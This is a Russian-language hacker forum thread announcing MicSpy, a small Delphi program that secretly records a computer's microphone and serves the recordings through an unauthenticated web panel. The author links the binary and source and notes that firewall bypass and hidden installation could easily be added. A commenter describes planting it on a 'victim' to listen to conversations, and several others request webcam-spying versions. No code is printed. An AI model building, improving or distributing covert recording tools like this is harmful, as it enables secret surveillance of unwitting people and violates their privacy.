![]() |
MicSpy By SLESH 1.0b
Вложений: 1
Извеняюсь перед Nightmarе, ибо я скопипастил его идею ))
Программа: MicSpy By SLESH 1.0b Язык: Delphi Размер: Чистый размер после компила через альтернативные модули 13824 байта Размер после UPX 7680 байт Предназнаение: Скрытая запись звука с устройства установленного поумолчанию в системе для записи голоса (микрофон или линейный вход, или стере/моно микс), что настроено, с того и пишет. Особенности: 1) Данные записываются в формате mp3 24 КГц 32кбит/с, моно. Для записи используется стандартный виндовый кодек MPEG LAYER-3 2) Название файлов генерируется как год_месяц_день_час-минуты-секунды.mp3 3) Управление программой осуществляется через WEB интерфейс. Подключатьcя к порту 4545. Типа http://127.0.0.1:4545/ 4) Админка предоставляет слудющие функции: - выгрузка программы - начать/остановить запись - отображение списка записанных файлов + размер их - удалять записанные файлы - скачевать записанные файлы Разное: Ну програмка довольно сыроватая, но с легкость может быть доделана функция обхода виндового фаера + инстал в систему. Проверял запись с установленными устройствами - микрофон и стерео микс - вроде нормально пишет в файл. Коментарии и тесты пишите сюда. В архиве имеется сама прожка + её исходник. Исходник MicSpy.dpr - основная часть (реализация админки) API.pas - константы, типы и функцкии, юзал для уменьшения размера, т.к. отказался от модуля Windows.pas MicRec.pas - функции записи |
и зачем такая прога нужна?
|
малыйй вес радует.... словом +2
|
Gar|k,жертве закинул и писдиш разговоры которые возле компа слышны
|
Наличие удаленного управления радует, потом попробовать надо будет. Щас Найтмаровскую версию юзаю всё очень ОК!
|
Меня очень смущает, то что пишет с того устройства которое выбранно для записи.
|
P.S. я не стал полностью повторять концепцию Nightmarе т.к. это былобы полным копипастом идеи )
|
новая гадость от слеша....
|
Цитата:
|
Ну почему сразу гадось? Это вполне безобидненький звукорекордер.....
Он еще маленький и его незя называть гадостью, а то обидится и пожалуется папе Саунд Форджу! А вообще это чисто с учебной целью всё ) |
Цитата:
|
Что-ж сказать, молодец.
Программа более профессиональная, мне до чистого WinApi ещё ухх как далеко. Фишка с удалённым управлением очень интересная, но всё-же не стоит забывать, что внешний IP это большая редкость. А так очень интересная идея со встроенным красивым веб интерфейсом… В общем зачот!!!!!!! ЗЫ: а вот исходники очень зря выложил. Вещь действительно стоющяя, и неудивительно, если завтра такая же прога появится, но тока под другим авторством… ибо на ачате таких «кодеров» хватает. |
2 Nightmarе Былобы что стоящее, то можно было исходники не выкладывать.
А так это просто пока наброски, единственное что может пригодиться многим - админка, т.к. её легко переписать под любой софт. А сам понимаешь - веб интерфейс управления довольно удобен и не требует левых управляющих модулей. Хотя может и спорная эта вешь. p.s. там в исходнике есть место d:=#...... его размер указывается в cbsize вот это полный хз. скока доки смотрел везеде пишется cbsize зарезервировано и не юзается. А без него непашет. А вообще можно ради интереса добавить еще MSACMовскую фишку - диалог выбора кодека. Вот тока глюки какието бывают. MPEG LAYER 3 наглухо отказался писать записывать при битрейте <32kbps |
на висте не робит =\
багрепорт такой: 1 прога запускается 2 открывается веб-интерфейс 3 при нажати на start record перебрасывает на 127.0.0.1:4545/0/ 4 больше ничего не выводит. 5 файлов никаких на hdd не нашел 6 прога успешно выгружается по кнопке в админке. зы Vista sp1 , audio device SigmaTel HDA |
Там уже значит нужно разбираться с самими кодеками. Или может MS как всегда херню какуюнить замутила.
Тестил на XP Sp2 и Win2k3 SP2 - везде пахала |
Однозначно респект.
/me убежал изучать |
сделайте такую для вебкамер!
|
исходники вэб админки очень кстати, мне как раз нужно удалённое управление, а сделать через вэб я чо то и не допёр даже. а тут тебе и исходники сразу. отлично!)
только вот админка есть, а авторизации в адмике нету), непорядок. |
Ну этоже типа демо софт. А так авторизацию не сложно сделать. Достаточно просто парсить куки
|
молодец, и +1 к идее, о реализации поддержки веб-камер :)
Цитата:
|
slesh, а почему function Header(), а не const?
|
Да просто всё быстро писал, думал может чтото придется там вычислять, но лишних вычислений небыло, по этому так и осталось без изменений )
|
а я подумал может я чего то не знаю и это какие нибудь чудеса оптимизации))
|
Только не понятно зачем все на WinApi))))?
|
А затем что бы размерчег маленький был )
|
Цитата:
:) правильно что выложил исходники, пусть люди учатся. +многим будет с самого начала непонятен winapi. насчет кодеров :) : да, есть тут такие, помню сам с твоего фейка начал) Ноо, потом исправился... Кстати, может эта прога будет в следущем номере "x" |
2 AlexTheC0d3r
Цитата:
Хотя с сохранением копирайта, я был бы не против понаблюдать её там ))) |
помоему в данном случае размер не имеет значения))
|
Ыть. o_O А прожка и правдо попала в майский ][
Жесть, и спасибо за "спасибо" )) |
а web камеру туда ещё можно?
|
да-да камера не помешала бы и прямая трансляция.
Кстати поздравляю с "залётом" в ][. |
Можно былобы попробовать написать прожку минимального размера для потокового вещания с вебкамеры, но нету камеры чтобы тестить )
|
Там походу архив битый.
Короче, пишет ошибка в данных CRC |
Цитата:
|
Перезалейте, пожалуйста.
А автору спасибо: даже самые отзывы и описание проги говорят, что продукт стоящий. |
А паковал чем то особенным?, у мну ошибка при разахивации(( залейте плиз.
|
После переезда на другой серв, видимо навернулся аттач.
По этому скачать можно отсюда [link]http://slesh.name/uploads/MicSpy.rar[/link] |
веб админка, прикольно :) мини сервер прям, жаль только что сетевое программирование целая наука (я говорю о устойчивых к сбоям, разрывам соеднинений программах)
незнай но мне кажется удобнее работать на уровне своего специализированого клиент-сервера (придумать свой вид пакетов... ведь в одном байте можно закодить 255 разных значений хех), чем с HTTP протоколом... меньше трафика... |
Gar|k
ой да ладно, наука. что такое "устойчивые к сбоям, разрывам соеднинения" не понятно кстати) |
Цитата:
Хотелось бы сказать, кто надумает писать веб-камерного шпиёна, делайте его плииз консольным, чтобы можно было воспользоваться везде, а не только при определённых условиях. Да, и вещь будет явно востребованная. |
| Время: 02:54 |